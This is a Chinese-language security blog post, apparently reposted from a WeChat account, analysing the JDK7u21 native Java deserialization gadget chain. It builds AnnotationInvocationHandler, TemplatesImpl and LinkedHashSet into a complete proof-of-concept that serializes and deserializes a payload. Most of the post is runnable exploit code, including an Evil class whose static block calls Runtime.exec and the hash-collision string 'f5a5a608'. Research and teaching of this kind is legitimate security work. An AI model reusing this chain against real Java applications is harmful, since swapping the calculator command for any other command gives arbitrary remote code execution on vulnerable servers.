JDK7u21 原生链
告诉大家小技巧: 关注公众号, 回复《JDK》获取JDK全版本下载链接. 并且后续会持续更新链子, 目录倒过来看一眼出思路.
链路分析
切换到 jdk7u21 版本后, 定位到sun.reflect.annotation.AnnotationInvocationHandler
类, 该类存在一个equalsImpl
方法, 如下:
危险方法
这些代码证明了几样事情:
-
equalsImpl 接收的参数未来将当作方法参数 -
this.type 是一个 Class 原型 -
会通过遍历 this.type 的所有已定义的方法, 并且通过爆破将这些方法定义为可访问的 -
this.type 不能是代理类, 否则不会调用 invoke 方法, 而是会调用 this.memberValues.get -
对于 memberValues, 它是一个 Map, 不能为 null, 否则会中断程序逻辑
那么, 首先定义一个 Bean, 进行测试任意对象.任意方法
调用结果:
package com.heihu577.bean;
publicclassUser{
publicvoidsayHello(){
System.out.println("Hi, My Name Is Heihu577");
}
}
那么, 使用如下 POC 进行测试:
package com.heihu577;
import com.heihu577.bean.User;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
User user = new User();
// 恶意对象
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(user.getClass(), new HashMap<>());
// 实例化 AnnotationInvocationHandler
Method equalsImplMethod = annotationInvocationHandler.getDeclaredMethod("equalsImpl", Object.class);
equalsImplMethod.setAccessible(true);
equalsImplMethod.invoke(o, new Object[]{user});
// 调用 equalsImpl 方法
}
}
最终则会输出结果: Hi, My Name Is Heihu577
抛出异常的情况
但由于是通过getDeclaredMethods
进行类扫描的, 并且调用无参方法, 那么假设一个类中存在的方法比较多并参数不一致的情况呢?定义User
类如下:
package com.heihu577.bean;
publicclassUser{
publicvoidsayHello2(String name){
System.out.println("Hi");
}
publicvoidsayHello(){
System.out.println("Hi, My Name Is Heihu577");
}
}
重新运行一下, 会得到如下报错:
Caused by: java.lang.IllegalArgumentException: wrong number of arguments
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:601)
at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
... 5 more
wrong number of arguments, 标准的参数类型不匹配错误, 其核心问题则是扫描到了我们的带参方法.
这个问题应该如何解决?下面我们就直接上TemplatesImpl
链路后半段的案例了.
引用 TemplatesImpl
无法正常 RCE 案例
可以调用任意对象.任意方法()
, 不难想到TemplatesImpl.getOutputProperties|newTransformer
, 那么理所当然的就RCE了.
笔者在此先定义一个Evil
恶意类, 方便后续实验:
package com.heihu577.bean;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
publicclassEvilextendscom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
thrownew RuntimeException(e);
}
}
@Override
publicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {
}
@Override
publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {
}
}
那么使用 TemplatesImpl 进行测试:
package com.heihu577;
import com.heihu577.bean.Evil;
import com.heihu577.bean.User;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
Object obj = new User();
obj = getTemplatesImpl();
System.out.println(Arrays.toString(obj.getClass().getDeclaredMethods()));
// 恶意对象
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(obj.getClass(), new HashMap<>());
// 实例化 AnnotationInvocationHandler
Method equalsImplMethod = annotationInvocationHandler.getDeclaredMethod("equalsImpl", Object.class);
equalsImplMethod.setAccessible(true);
equalsImplMethod.invoke(o, new Object[]{obj});
// 调用 equalsImpl 方法
}
publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
结果会发现如下报错:
这是因为getDeclaredMethods
方法第一次扫描到了带参的情况, 并不是我们理想中的getOutputProperties|newTransformer
.
正常 RCE 分析
但是我们可以观察TemplatesImpl
这个类结构, 发现它实现了Templates
接口, 而Templates
接口刚好提供了两个带参方法, 关系如下:
所以在这里可以巧妙的运用Templates
接口当作AnnotationInvocationHandler
构造方法中的type
, 这样将会调用Templates.class.getDeclaredFields()
进行类扫描, 不是扫描到newTransformer
就是扫描到getOutputProperties
, 这两个方法都是可以被我们进行利用的. 那么改为如下即可每次正常RCE:
链式调用与模拟执行
那么谁调用了sun.reflect.annotation.AnnotationInvocationHandler::equalsImpl
方法呢?实际上在invoke
方法中存在调用, 如下:
而因为AnnotationInvocationHandler
实现了InvocationHandler
接口, 它是一个标准的代理类的实例, 那么我们若想要进行触发equalsImpl
方法, 本质上需要调用invoke
方法. 并且调用的方法模型为equals(Object)
. 那么我们 POC 定义如下:
publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
Object obj = getTemplatesImpl();
// 恶意对象
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandlerDemo = (InvocationHandler) declaredConstructor.newInstance(Templates.class, newHashMap<>());
// 实例化 AnnotationInvocationHandler
Object o = Proxy.newProxyInstance(Main.class.getClassLoader(), newClass[]{Templates.class}, invocationHandlerDemo);
o.equals(obj);
// 调用 invoke 方法
}
publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
运行即可弹出计算器, 当然, 现在的问题应该思考, 谁调用了equals(可控)
.
链路开端 -> readObject
调用 equals 的 Hashtable,HashMap,HashSet
在我们之前研究CC7时, 使用了Hashtable
进行调用到了equals
方法, 本质是Hashtable
在调用readObject
时, 会调用Hashtable::put
方法, 而最终在put
方法中调用了equals
方法, 这里做一个简单的说明:
当然除了HashTable
, HashMap, HashSet
都比较类似:
Hash 碰撞问题
以及HashSet:
当然为了方便演示, 这里直接使用HashSet
. 而之前在做CC7
时会遇到Hash碰撞
问题, 当然在这里仍然存在Hash碰撞
问题, 只有当两者通过LinkedHashMap::hash
方法计算hash
值结果相同并对象指针不同时, 才会调用到equals
方法中去.
比如: HashSet 中存在这两个值: {对象1,对象2}, 那么假设这两个对象 hash 结果相同但指针不同, 则会调用到 对象2.equals(对象1) 方法中进行计算.
我们可以使用如下运行结果, 判断出当前所需要的场景:
publicstaticvoidmain(String[] args)throws Exception {
Object obj = getTemplatesImpl();
// 恶意对象
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandlerDemo = (InvocationHandler) declaredConstructor.
newInstance(Templates.class, newHashMap<>());
// 准备 AnnotationInvocationHandler 代理对象
Object proxyObj = Proxy.newProxyInstance(Main.class.getClassLoader(), newClass[]{Map.class}, invocationHandlerDemo);
HashSet<Object> objects = new HashSet<>();
objects.add(obj);
objects.add(proxyObj);
// 想要调用 proxyObj.equals(obj) 方法, 但由于 hashCode 不一致, 所以不可能调用
System.out.println(proxyObj.hashCode());
System.out.println(obj.hashCode());
}
publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
最终由于hash值
不相同的问题, 无法调用进方法中.
伪造 AnnotationInvocationHandler Hash 值
由于上述案例是因为AnnotationInvocationHandler对象hash值 (目前为0)
与TemplatesImpl(obj变量) [hash值结果为随机值]
是不相同的, 所以无法调用其equals
方法, 目前只有两种调用equals
方法的方案:
-
修改 AnnotationInvocationHandler 对象的 hash 值 -
修改 TemplatesImpl 对象的 hash 值
只要能够修改其一 hash 值与另一个对象的 hash 值相同即可成功伪造.
默认 AnnotationInvocationHandler Hash 值
而我们知道我们想要参与equals
比较的是基于AnnotationInvocationHandler
的代理对象, 那么调用它的equals
方法也就意味着调用到了AnnotationInvocationHandler代理对象实例::invoke
方法中, 看一下invoke
方法对hash值
的计算:
所以我们HashSet
中AnnotationInvocationHandler
对象待比较的代理对象的hash
值不考虑其他情况的下值的结果是0.
修改 AnnotationInvocationHandler 对象 Hash 值【可行】
如果想要修改AnnotationInvocationHandler对象
的hash
值, 将其变为可控的, 将其 hashCode 遵循TemplatesImpl
的 hash 值.
则需要仔细研究一下hashCodeImpl
方法中的for
循环逻辑:
假如说我们可以找到一个 String 类型, 并且其 hash 值为 0 的一个 key, 也就是借用String.hashCode
方法:
那么也就是0 ^ value的hashCode值
的情况, 而 0 ^ 任意值
结果都是任意值
.
所以这里我们可借助memberValues
成员属性, 将其key放入hash值为0的String值, 将value放入TemplatesImpl
对象即可.
理想状态为: hash值为0的String值 ^ TemplatesImpl
最终结果为TemplatesImpl
的hash值.
编写如下代码, 进行查找哪个String
的hashCode
为0:
for (long i = 0; i < 9999999999999999L; i++) {
String hexString = Long.toHexString(i); // 数值 i 的 16 进制编码
if (hexString.hashCode() == 0) {
System.out.println(hexString);
}
}
最终可跑出f5a5a608
, 该字符串的hashCode值为0.
修改 TemplatesImpl 对象的 Hash 值【失败】
那如果不修改AnnotationInvocationHandler
的情况下,我们让TemplatesImpl
遵循AnnotationInvocationHandler
的hash值可不可以呢?
先给出代码案例:
publicclassGoHashCode{
publicstaticvoidmain(String[] args)throws Exception {
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Method equalsMethod = objectObjectHashMap.getClass().getDeclaredMethod("hash", Object.class);
equalsMethod.setAccessible(true);
for (long i = 0L; i < 99999999999999999L; i++) {
String data = String.valueOf(i);
TemplatesImpl templatesImpl = getTemplatesImpl(data);
Integer res = (Integer) equalsMethod.invoke(objectObjectHashMap, templatesImpl);
System.out.println("当前值: " + i + " Hash 值: " + res + " templatesImpl Hash值: " + templatesImpl.hashCode() + " templatesImpl - Hash值: " + (templatesImpl.hashCode() - res));
if (res.equals(0)) {
break;
}
}
}
publicstatic TemplatesImpl getTemplatesImpl(String data)throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
bytecodes.set(templates, myBytes);
name.set(templates, data);
tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
通过修改TemplatesImpl
中的name
字段, 进行无限重复计算Hash
值, 当Hash
值最终结果为0时, 则与AnnotationInvocationHandler
默认值0相同. 想法上是好的, 但是由于最终调用的实际上是Object.hashCode
方法进行计算, 这是一个native
方法, 其计算结果不被控制.
POC 编写
基于 HashSet 的 POC
publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
Object obj = getTemplatesImpl();
HashMap<Object, Object> hsMap = new HashMap<>(); // 伪造 hashCode 使用
hsMap.put("f5a5a608", "temp");
// 恶意对象
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandlerDemo = (InvocationHandler) declaredConstructor.
newInstance(Templates.class, hsMap);
// 准备 AnnotationInvocationHandler 代理对象
Object proxyObj = Proxy.newProxyInstance(Main.class.getClassLoader(), newClass[]{Map.class}, invocationHandlerDemo);
HashSet<Object> objects = new HashSet<>();
objects.add(obj); // TemplatesImpl 对象
objects.add(proxyObj); // AnnotationInvocationHandler 代理对象
hsMap.put("f5a5a608", obj);
// 调用 proxyObj.equals(obj) 方法, 但由于 hashCode 不一致, 所以不可能调用
serialize(objects);
unserialize();
}
publicstaticvoidserialize(Object o)throws Exception {
new ObjectOutputStream(new FileOutputStream("./ser.out")).writeObject(o);
}
publicstaticvoidunserialize()throws Exception {
new ObjectInputStream(new FileInputStream("./ser.out")).readObject();
}
publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
使用该POC
即可弹出计算器, 但只是偶然弹出计算器
. 为什么会是这种情况呢?
一、不弹窗的情况
二、弹窗的情况
而解决方法则是使用LinkedHashSet
, 它继承了HashSet
并且是有序的, 最终POC:
publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
Object obj = getTemplatesImpl();
HashMap<Object, Object> hsMap = new HashMap<>(); // 伪造 hashCode 使用
hsMap.put("f5a5a608", "temp");
// 恶意对象
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandlerDemo = (InvocationHandler) declaredConstructor.
newInstance(Templates.class, hsMap);
// 准备 AnnotationInvocationHandler 代理对象
Object proxyObj = Proxy.newProxyInstance(Main.class.getClassLoader(), newClass[]{Map.class}, invocationHandlerDemo);
LinkedHashSet<Object> objects = new LinkedHashSet<>();
objects.add(obj); // TemplatesImpl 对象
objects.add(proxyObj); // AnnotationInvocationHandler 代理对象
System.out.println(Arrays.toString(objects.toArray()));
hsMap.put("f5a5a608", obj);
// 调用 proxyObj.equals(obj) 方法, 但由于 hashCode 不一致, 所以不可能调用
serialize(objects);
unserialize();
}
publicstaticvoidserialize(Object o)throws Exception {
new ObjectOutputStream(new FileOutputStream("./ser.out")).writeObject(o);
}
publicstaticvoidunserialize()throws Exception {
new ObjectInputStream(new FileInputStream("./ser.out")).readObject();
}
publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
Ending...
原文始发于微信公众号(Heihu Share):Java 安全 | JDK7u21 原生链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论